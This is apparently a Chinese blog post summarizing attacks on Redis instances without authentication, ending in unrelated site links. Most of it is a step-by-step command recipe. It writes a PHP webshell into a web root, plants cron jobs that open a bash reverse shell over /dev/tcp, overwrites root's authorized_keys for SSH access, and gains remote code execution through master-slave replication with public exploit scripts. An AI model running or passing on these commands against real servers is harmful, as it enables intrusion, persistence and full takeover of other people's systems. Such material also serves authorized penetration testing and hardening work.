Redis未授权利用方式总结

前言

目前的大多数网站搭建的Redis 均采用 docker 一键部署的方式,而 docker 镜像中的 redis 默认不是以 root 权限运行的,也就是说即使拿下这台 redis,我们也只能在对方服务器的本地内网中漫游,当然还是会有部分 redis 部署在服务器中。

未授权及权限判断

未授权判断

无密码连接至目标 redis 后,执行 info 命令,如出现 redis 的相关信息,则说明存在未授权。

权限判断

连接 redis 发现存在未授权,但我们并不知道它运行用户的权限,先尝试将数据库文件目录设置为根目录:

config set dir /

如果显示 OK,几乎可以确定为 root 权限,非 root 会提示:permission denied

利用方式

写文件利用

Redis 提供了 config set dirconfig set dbfilename 来分别设置数据库文件的保存位置和文件名。

写入 webshell

条件:

  1. 知道网站目录的绝对路径

  2. 运行 redis 的用户权限需要对网站目录有写入权限

既然可以写文件,那么就可以利用这种方式将 webshell 写入网站目录,以此来 getshell。

连接至未授权的 redis,依次执行:

# 清空所有数据库的所有 key
flushall

# 设置数据库文件的保存位置,修改为网站的目录
config set dir /var/www/html/

# 设置存储的文件名
config set dbfilename shell.php

# 将webshell的内容存入名为xxx的键,键名随意
set xxx "\n\n<?php $_POST['cmd'];?>\n\n"

# 保存写入
save
写定时任务反弹 shell
  1. Redis 以Root 权限运行

这里要注意,不同的 Linux 发行版写入定时任务情况有些区别,其中位置区别如下:

Linux 发行版 定时任务路径及文件名要求
红帽系(Centos) /etc/cron.d/<任意>、/var/spool/cron/<用户名>
Debian 系 /etc/cron.d/<任意>

不同的位置,命令也有所区别:

定时任务位置 命令 示例
/etc/cron.d/<任意> * * * * * <用户名> <命令> * * * * * root /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
/var/spool/cron/<用户名> * * * * * <命令> * * * * * /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

这里还需注意 ,在 debian 系的 Linux 发行版中,/var/spool/cron/crontabs/ 也是定时任务文件目录,但由于它对文件权限有限制,因此无法作为利用目录,同时在定时任务中反弹 shell 时不能直接使用常规的 /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1,而是这种形式:

* * * * * bash -c "bash -i >& /dev/tcp/127.0.0.1/8888 0>&1"

原因参考:https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941

满足上述要求后,依次执行以下命令:

# 清空所有数据库的所有 key
flushall

# 写入特定目录
config set dir /var/spool/cron/

# 按照要求设置存储的文件名,通常是root
config set dbfilename root

# 写入定时任务,每分钟执行一次,按照要求填写
set xxx "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/127.0.0.1/8888 0>&1'\n\n"

# 保存写入
save
写入 SSH 公钥

原理:通过覆写目标机器的公钥,达到无密码使用私钥即可连接目标机器。

条件:

  1. redis 以 Root 权限运行

  2. 目标机器开启了私钥登录,默认是不开启

  3. 目标机器创建了公钥,即存在 /root/.ssh 文件夹

执行命令如下:

# 生成rsa密钥对,回车即可
ssh-keygen -t rsa

# 写入tmp文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/public_key.txt

# 写入公钥至redis xxxx key,方便后续写入
cat /tmp/public_key.txt | redis-cli -h x.x.x.x -p 6379 -x set xxxx

# 连接目标redis
redis-cli -h x.x.x.x -p 6379

# 接着执行
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

# 连接部分主机需要添加-o PubkeyAcceptedAlgorithms=+ssh-rsa
ssh root@x.x.x.x -i ~/.ssh/id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa

主从复制 RCE

原理:

通过 redis 的加载外部拓展可以执行命令,连接目标 redis 设置使用 slaveof 命令将本机 redis 设置为主机,将恶意 so 文件同步至目标 redis,连接然后执行命令即可。

实际利用过程:使用开源的自动化利用脚本,原理是构造特定 redis 的网络请求,模拟主从复制的过程。

条件:

  1. Redis 4.x 及 5.x,高版本默认关闭模块加载功能

模块编译:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

自动化利用脚本:https://github.com/Ridter/redis-rce

快速利用脚本(自编译模块):https://github.com/yinsel/redis-rce

利用过程:

# 克隆仓库
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

# 进入脚本
cd RedisModules-ExecuteCommand

# 安装依赖并编译模块
apt install gcc make -y && make

# 在当前目录克隆自动化脚本
git clone https://github.com/Ridter/redis-rce

# 移动模块并进入脚本目录同时安装依赖
mv module.so ./redis-rce/exp.so && cd redis-rce && pip install -r requirements.txt

# 运行脚本getshell
python3 redis-rce.py -r <目标> -L <VPS公网IP> -f exp.so

效果:

参考链接

https://blog.csdn.net/qq_41874930/article/details/112781957

https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941

https://paper.seebug.org/975/

https://www.cnblogs.com/one-seven/p/15162039.html

相关推荐
晓风残月Yuperman17 分钟前
ORA-03137: TTC 协议内部错误
数据库·oracle
赵丙双1 小时前
猜测、实现 B 站在看人数
redis·redisson·b站·哔哩哔哩·在看人数·在线人数
ever_up9734 小时前
EasyExcel的导入与导出及在实际项目生产场景的一下应用例子
java·开发语言·数据库
鹿子铭5 小时前
单线程Redis:Redis为什么这么快
数据库·redis
JSON_L6 小时前
MySQL 事务处理
数据库·mysql
爱打lan球的程序员7 小时前
redis分布式锁和lua脚本
数据库·redis·分布式
说书客啊8 小时前
计算机毕业设计 | springboot旅行旅游网站管理系统(附源码)
java·数据库·spring boot·后端·毕业设计·课程设计·旅游
hummhumm8 小时前
数据库系统 第46节 数据库版本控制
java·javascript·数据库·python·sql·json·database
ac-er88888 小时前
Flask如何创建并运行数据库迁移
数据库·python·flask
传而习乎9 小时前
【Postgresql】地理空间数据的存储与查询,查询效率优化策略,数据类型与查询速度的影响
数据库·postgresql